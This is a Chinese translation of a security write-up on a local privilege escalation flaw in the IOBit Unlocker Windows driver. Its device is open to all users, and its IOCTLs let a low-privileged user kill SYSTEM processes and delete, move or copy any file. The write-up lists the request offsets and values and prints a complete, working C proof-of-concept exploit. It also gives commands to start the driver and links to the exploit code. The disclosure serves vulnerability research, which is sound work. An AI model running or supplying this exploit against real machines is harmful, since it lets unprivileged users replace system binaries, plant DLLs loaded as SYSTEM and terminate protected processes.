IOBit Unlocker 驱动本地提权漏洞分析
2020-10-28 10:21:58 Author: www.4hou.com(查看原文) 阅读量:189 收藏

导语:请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。

0x01  漏洞描述

IOBitUnlocker驱动程序存在2个主要漏洞:

1. IOBitUnlocker驱动程序中的IOCTL代码0x222124允许低特权用户解锁文件,它会杀死持有该进程句柄的进程,即使它们正在以SYSTEM特权运行。

2. IOCTL IOBitUnlocker驱动程序中的代码0x222124允许低特权用户删除,移动或复制系统上的任何文件。

0x02  漏洞分析

该应用安装了将执行上述操作的帮助程序和驱动程序,如果我们在OSR的设备树中检查设备的权限,可以看到任何人都具有对驱动程序的完全访问权限:

当我们启动客户端应用程序时,它将提示需要提高访问权限:

要查看客户端的功能或如何执行操作,可以逆向分析驱动程序,但是使用@zodiacon写的的DriverMon工具会更容易,该工具可以监视IOCTL请求并显示数据。

添加文件时,可以看到有一个IOCTL代码正在查询有关文件的信息:是否有任何进程正在使用它,使用了IOCTL代码0x222128。

如果有进程正在使用它,我们将使用以下文件获取进程的PID:

如果单击解锁,我们将使用IOCTL看到一个稍有不同的请求0x222124,再次传递文件名以及偏移量0x424处的数字3:

如果我们查看IDA中的驱动程序文件,将看到它支持的两个IOCTL代码。

在相关偏移量的请求中看到如下内容:

 1. 开锁:
    1. 0x0:Unicode中的文件名
    2. 0x424:字节0x3
 2. 解锁并删除:
    1. 0x0:Unicode中的文件名
    2. 0x420:字节0x1
    3. 0x424:字节0x3
 3. 解锁并重命名:
    1. 0x0:文件名
    2. 0x210:新文件名
    3. 0x420:字节0x2
    4. 0x424:字节0x3
 4. 解锁并移动:
    1. 0x0:文件名
    2. 0x210:具有完整路径的新文件名
    3. 0x420:字节0x3
    4. 0x424:字节0x3
 5. 解锁并复制:
    1. 0x0:文件名
    2. 0x210:具有完整路径的新文件名
    3. 0x420:字节0x4
    4. 0x424:字节0x3

文件重命名操作的输入:

如果单击Force mode偏移量为0x424的字节,则设置为0x7。请求中的所有其他字节均为0,该工具不支持超过256个字节的文件路径,这是典型的MAX_PATH值。4字节的返回值是NTSTATUS代码,如果选择文件夹,则会得到相同的输入值。

考虑到对驱动程序的访问权限是对所有人的完全访问权限,可以在代码中重新实现相同的功能。这是一个明显的特权升级漏洞,我们可以:

1. 删除,复制,移动系统中的任何文件;

2. 杀死任何进程(解锁功能将终止持有该文件句柄的进程)。

如果查看代码,我们可以看到关键系统进程有一个白名单:

我们可以轻松替换任何以SYSTEM身份运行的二进制文件,也可以将DLL复制到将其作为SYSTEM加载的位置。

唯一不起作用的项是重命名文件,由于某种原因,如果用户没有权限,驱动程序将无法重命名该文件。

0x03  漏洞验证

PoC代码:

 // UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.
 //
 
 #include  #include  #include  
 BOOL FileExists(LPCWSTR szPath)
 {
  DWORD dwAttrib = GetFileAttributesW(szPath);
  printf("[i] File exists status: 0x%08x\n", dwAttrib);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES);
 }
 
 void ReadStringFromSTDIN(wchar_t * buffer)
 {
  printf("> ");
  fgetws((wchar_t*)buffer, 0x200, stdin);
  memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character
 }
 
 int main(int argc, char* argv[]) {
  printf("[i] IOBit Unlocker Privilege Escalation PoC\n");
 
  //open the driver
  HANDLE hDriver = CreateFileW(L"\\\\.\\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  if (hDriver != INVALID_HANDLE_VALUE)
  {
   printf("[+] opened handle to the driver\n");
 
   DWORD input_buffer_size = 0x1000;
   DWORD output_buffer_size = 0x1000;
   //allocate input buffer
   LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   if (input_buffer == NULL)
   {
    printf("[-] Unable to allocate memory for input buffer\n");
    ExitProcess(-1);
   }
   printf("[+] Allocated input memory buffer at: 0x%Ix\n", (UINT64)input_buffer);
 
   //allocate output buffer
   LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   if (output_buffer == NULL)
   {
    printf("[-] Unable to allocate memory for output buffer\n");
    ExitProcess(-1);
   }
   printf("[+] Allocated output buffer memory at: 0x%Ix\n", (UINT64)output_buffer);
 
   // Clear memory area
   memset(input_buffer, 0x00, input_buffer_size); 
   memset(output_buffer, 0x00, output_buffer_size);
 
   printf("[i] Enter full path for the file to unlock. Eg: C:\\Windows\\System32\\cmd.exe\n");
   ReadStringFromSTDIN((wchar_t*)input_buffer);
   wprintf(L"Fileto be checked: %s\n", (wchar_t *)input_buffer);
 
   if (!FileExists((LPCWSTR)input_buffer)) {
    printf("[-] This file doesn't exists\n");
    ExitProcess(-1);
   }
   //print options
   printf("[+] File found!\n");
   printf("[i] Choose an option:\n");
   printf("1 - INFO\n");
   printf("2 - Unlock\n");
   printf("3 - Unlock & Delete\n");
   printf("4 - Unlock & Rename\n");
   printf("5 - Unlock & Move\n");
   printf("6 - Unlock & Copy\n");
   
   boolean valid = false;
   int option = 0;
   while (!valid)
   {
    printf("> ");
    int result = scanf_s("%d", &option);
    if (result == EOF) {
     printf("[-] Invalid input\n");
     continue;
    }
    if (result == 0) {
     while (fgetc(stdin) != '\n') // Read until a newline is found
      ;
     printf("[-] Invalid input\n");
     continue;
    }
    
    if (option > 0 && option < 7)
    {
     valid = true;
     while (fgetc(stdin) != '\n') // Read until a newline is found, if we don't do this it will mess up code later
      ;
    }
    else
    {
     printf("[-] Invalid number, enter something between 1 and 6\n");
    }
   }
 
   DWORD dwIoctl_info = 0x222128;
   DWORD dwIoctl_action = 0x222124;
   DWORD dwBytesOut = 0;
   switch (option)
   {
   case 1:
   {
    DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    wprintf(L"[i] File info: %s\n", (wchar_t*)output_buffer);
    break;
   }
   case 2:
   {
    ((byte*)input_buffer)[0x424] = 0x3;
    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    break;
   }
   case 3:
   {
    ((byte*)input_buffer)[0x420] = 0x1;
    ((byte*)input_buffer)[0x424] = 0x3;
    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    break;
   }
   case 4: //this is not working id the user doesn't have rights to access the file
   {
    ((byte*)input_buffer)[0x420] = 0x2;
    ((byte*)input_buffer)[0x424] = 0x3;
    printf("[i] Enter new filename:\n");
    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    break;
   }
   case 5:
   {
    ((byte*)input_buffer)[0x420] = 0x3;
    ((byte*)input_buffer)[0x424] = 0x3;
    printf("[i] Enter new path (move operation):\n");
    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    break;
   }
   case 6:
   {
    ((byte*)input_buffer)[0x420] = 0x4;
    ((byte*)input_buffer)[0x424] = 0x3;
    printf("[i] Enter new path (copy operation):\n");
    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));
    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);
    break;
   }
   default:
    break;
   }
  }
  else {
   printf("[-] Couldn't open the driver\n");
   ExitProcess(-1);
  }
  CloseHandle(hDriver);
  ExitProcess(0);
 }

漏洞测试:

通常只有在启动主应用程序后,驱动程序才会启动,一旦退出,驱动程序将被终止并禁用。如果要手动启动以进行测试,则需要自己启动:

 sc config iobitunlocker start= demand
 sc start iobitunlocker

POC文件如下,可以自己尝试测试验证:

https://github.com/theevilbit/exploits/tree/master/IOBit%20Unlocker%201.2%20LPE/UnlockExploit

0x04  分析总结

单击Force mode的偏移量为0x424的字节,设置为0x7。请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。

本文翻译自:https://theevilbit.github.io/posts/iobit_unlocker_lpe/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/x7KB
如有侵权请联系:admin#unsafe.sh